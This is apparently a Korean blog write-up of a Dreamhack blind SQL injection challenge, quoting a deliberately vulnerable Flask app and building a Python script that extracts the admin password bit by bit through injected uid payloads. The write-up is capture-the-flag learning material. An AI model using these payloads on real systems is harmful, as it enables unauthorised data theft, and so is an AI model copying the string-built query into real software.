https://dreamhack.io/wargame/challenges/411
문제에서 비밀번호는 아스키코드와 한글로 구성되어 있다고 알려줬다.
app.py
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
if __name__ == '__main__':
app.run(host='0.0.0.0')
Flask와 mysql을 이용한 웹 서버가 동작하고 있으며, / 경로에 GET 메소드로 uid 파라미터를 통해 이용자 입력을 전달받는다. 전달받은 입력은 별도의 여과 없이 바로 mysql 쿼리에 사용되기 때문에 SQL Injection 취약점이 발생한다.
다만 쿼리 실행의 결과를 그대로 출력해주지 않고, 쿼리 성공의 여부만 알 수 있기 때문에 Blind SQL Injection을 이용해 공격해야 한다.
init.sql
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
user_db 데이터베이스를 utf-8 언어 셋으로 생성하며, uid와 upw 컬럼을 갖는 users 테이블을 생성한다.
users 테이블에는 초기 세 개의 row를 초기화해두는데 이 때 admin 계정의 패스워드가 플래그다.
이제 나는 admin 패스워드 길이를 먼저 찾아야 한다.
문자열 인코딩에 따른 정확한 길이를 계산하기 위해서 char_length 함수를 사용한다.
admin 패스워드의 길이를 찾기 위해 admin' and length(upw) = {length}-- - 이 형태의 쿼리를 작성한다.
from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
이제 문자 별 비트열 길이를 찾아야 하낟.
비트열로 변환해서 추출하기 전에 각 비트열의 길이를 찾아야 한다.
이를 위해 admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- - 형태의 쿼리를 작성한다.
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
이제 비트열의 길이를 구했으니 각 문자 별 비트열을 추출해야 한다.
admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- - 형태의 쿼리를 작성한다.
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
비트열을 추출했으면 이를 다시 문자로 변환해야 한다.
비트열을 정수로 변환 -> 정수를 Big Endian 형태의 문자로 변환 -> 변환된 문자를 인코딩에 맞게 변환
password = ""
for i in range(1, password_length + 1):
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
이를 모두 합치면...
from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
이렇게 코드를 만들어준 후 코드를 돌리니
DH{이것이비밀번호!?}라고 떴다.
음....너무 어렵다....이게 뭐지?
'드림핵' 카테고리의 다른 글
sql injection bypass WAF (0) | 2024.10.30 |
---|---|
드림핵 error based sql injection (1) | 2024.10.02 |
easy-login (0) | 2024.05.22 |
web-misconf-1 (0) | 2024.05.22 |
드림핵 🌱 simple-web-request (0) | 2024.05.15 |